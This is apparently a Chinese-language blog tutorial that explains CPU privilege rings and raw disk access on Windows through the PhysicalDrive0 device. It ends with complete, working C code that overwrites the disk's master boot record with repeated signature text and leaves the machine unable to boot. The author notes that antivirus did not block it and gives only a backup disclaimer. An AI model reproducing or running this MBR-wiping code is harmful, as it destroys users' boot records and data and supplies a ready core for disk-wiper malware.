CPU一共有四种权限级别:ring0 ring1 ring2 ring3
Windows只是用了ring0和ring3
我们在使用电脑时,一般在ring3模式下工作。在ring3模式下,我们无法使用CPU特权指令in和out。对系统所属的数据,地址空间以及硬件也是有严格的限制的。
但是这对于操作系统来说是一件好事,可对于一些应用程序来说,就很无语了。
要想在ring3下完成这个任务,只能通过内核程序来进行使用。在Windows系统中,内核程序不受任何的限制,可以随意存取系统所属的数据,操作系统地址空间等。所以,开发内核程序必须要有严格的测试!
不过呢,想要在ring3级别下访问硬盘,也是很简单的!
那是因为:
Windows 操作系统为了自己编程方便,编写了在用户模式下调用的硬盘内核模式驱动程序,该程序在系统启动时候自动装载。我们只要掌握这个 Windows 内核模式的驱动程序,就可以直接在用户模式下直接无阻碍访问硬盘了。
不过想要掌握这个内核程序,也是很简单。因为:
硬盘内核驱动程序将硬盘作为一个文件,文件名为:"\\.\\physicaldrive0"
这样,我们就可以通过这个文件名,使用 CreateFile, ReadFile, WriteFile 和 DeviceIoControl 这几个API来进行访问硬盘。
题外话:我在测试的时候发现了一个大问题。就是我用这个程序在改写MBR的时候,我的360安全卫士竟然没提示,也没拦截!!!然后。。。。。额 就没有然后了(因为虚拟机跑不起来 所以我在真实机器上测试。幸亏备份MBR了)。。。。。
下面的代码,请谨慎使用。使用前请先备份MBR。以防数据丢失。
如果出现事故,与本人无关!
#include <windows.h>
int main(void)
{
//硬盘文件名
LPCSTR DiskFileName="\\\\.\\PhysicalDrive0";
//主引导记录
char code[]=
"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> "
"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 ->By:紫玫冰心 -> "
"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> "
"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 ->By:紫玫冰心 -> ";
BYTE MBR[512];
DWORD s=NULL,t=NULL;
/* 文件句柄 */
HANDLE handle=NULL;
//构造MBR
memcpy(MBR,code,sizeof(code)-1);
//打开硬盘
handle=CreateFileA(
DiskFileName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
0,
OPEN_EXISTING,
0,
0);
if(handle==INVALID_HANDLE_VALUE)
{
//打开文件失败
MessageBoxA(NULL,(LPCSTR)"Can't Create File!",(LPCSTR)"error",MB_OK);
return 0;
}else{
//写入新的MBR
WriteFile(handle,MBR,sizeof(MBR),&t,NULL);
DeviceIoControl(handle,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&s,NULL);
CloseHandle(handle);//关闭文件
MessageBoxA(NULL,(LPCSTR)"successful",(LPCSTR)"ok",MB_OK);
return 0;
}
return 0;
}